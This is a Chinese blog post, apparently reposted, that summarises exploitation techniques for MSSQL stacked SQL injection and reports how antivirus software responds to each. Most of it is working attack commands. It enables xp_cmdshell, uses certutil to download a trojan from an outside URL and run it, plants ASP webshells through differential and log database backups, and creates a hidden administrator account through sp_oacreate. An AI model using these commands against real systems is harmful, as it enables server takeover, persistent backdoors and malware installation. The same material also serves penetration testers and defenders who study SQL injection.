mssql堆叠注入利用总结

前言

前一段时间遇到了两个mssql的注入,一个是可以限制长度的命令执行,另一个是网站可以注入,但是主机存在杀软,不可以使用xp_cmdshell,所以总结一下mssql堆叠注入环境下的函数利用,以及杀软的反应
当然,下面的函数基本都要基于dba权限,如果不是dba的话,拥有相关权限也是可以的

环境

这里使用win2008搭建了iis和mssql环境,mssql的默认用户是network权限,数据库连接使用sa权限

写webshell

写webshell的话需要知道相应的目录权限,可以通过报错信息,字典来猜测,执行命令和相关函数来搜索,读取iis的配置文件等方式,这里主要来使用xp_cmdshellxp_dirtree来演示

xp_dirtree

execute master..xp_dirtree 'c:' --列出所有c:\文件、目录、子目录 
execute master..xp_dirtree 'c:',1 --只列c:\目录
execute master..xp_dirtree 'c:',1,1 --列c:\目录、文件

在这里插入图片描述
如果不能回显的话,可以把查询结果写入数据表中,之后通过注入来获取相关目录信息

CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1;
select * from tmp;

在这里插入图片描述

xp_dirtree杀软反应

这里只测试了某卫士
在这里插入图片描述
这个函数杀软没有反应

xp_cmdshell

开启xp_cmdshell

EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;

查找asp所在目录

CREATE TABLE cmdtmp (dir varchar(8000));
exec master..xp_cmdshell 'for /r c:\inetpub %i in (1*.asp) do @echo %i'
select * from cmdtmp

在这里插入图片描述

xp_cmdshell杀软反应

在这里插入图片描述
可以看到对xp_cmdshell函数拦截比较严格

通过命令执行拿shell

无杀软

可以通过xp_cmdshell函数来执行命令写shell
开启xp_cmdshell

EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;

使用xp_cmdshell下载和执行muma

exec master..xp_cmdshell 'certutil -urlcache -split -f http://suo.im/5UEWnn %temp%/1.exe'
exec master..xp_cmdshell '%temp%/1.exe'

如果遇到长度限制的话可以参考我的另一篇文章记一次asp+mssql的注入和命令执行(已脱敏)
在这里插入图片描述

有杀软

和前面一样,对这个函数限制比较严格,哪怕是错误命令都不能执行
在这里插入图片描述

通过差异备份写shell

有杀软

backup database test to disk = 'C:\test\bak.bak';
create table [dbo].[test1] ([cmd] [image]);
insert into test1(cmd) values(0x3C25657865637574652872657175657374282261222929253E);
backup database test to disk='C:\test\d.asp' WITH DIFFERENTIAL,FORMAT;

这里的0x3C25657865637574652872657175657374282261222929253E是对应文本的
16进制编码
在这里插入图片描述
在这里插入图片描述
这里在有杀软的情况下可以正常执行,无杀软的情况下就不再测试,不过

backup database test to disk = 'C:\inetpub\wwwroot\bak.bak';
backup database test to disk='C:\inetpub\wwwroot\d.asp' WITH DIFFERENTIAL,FORMAT;

在写shell 的时候会因为目录权限问题而导致无法写入
在这里插入图片描述

log备份

LOG备份需要先把指定的数据库激活为还原模式,所以需要执行alter database XXX set RECOVERY FULL 如果权限不够的话就要看是否已经开启log备份

有杀软

alter database test set RECOVERY FULL;
create table cmd1 (a image);
backup log test to disk = 'C:\test\hack.asp' with init;
insert into cmd (a) values ('<%%25Execute(request("go"))%%25>');
backup log test to disk = 'C:\test\hack2.asp';

在这里插入图片描述
可以正常执行

遇到的问题

执行alter database test set RECOVERY FULL后无法执行backup log操作,重启数据库之后才可以,还存在目录权限问题,写文件到C:\test\hack.asp可以,

backup log test to disk = 'C:\inetpub\wwwroot\hack2.asp';

在这里插入图片描述
存在目录权限问题

sp_oacreate

无杀软

开启sp_oacreate

EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'Ole Automation Procedures', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'show advanced options', 0;

添加用户

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 123$ 123 /add';
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 123$ /add';

因为权限问题无法创建,这里使用写文件的方式

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c echo 123>c:\test\123.txt';

在这里插入图片描述

有杀软

在这里插入图片描述
应该是对命令执行比较敏感

参考文章

https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI
https://www.cnblogs.com/xishaonian/p/7421592.html

猜你喜欢

转载自blog.csdn.net/qq_43645782/article/details/106891013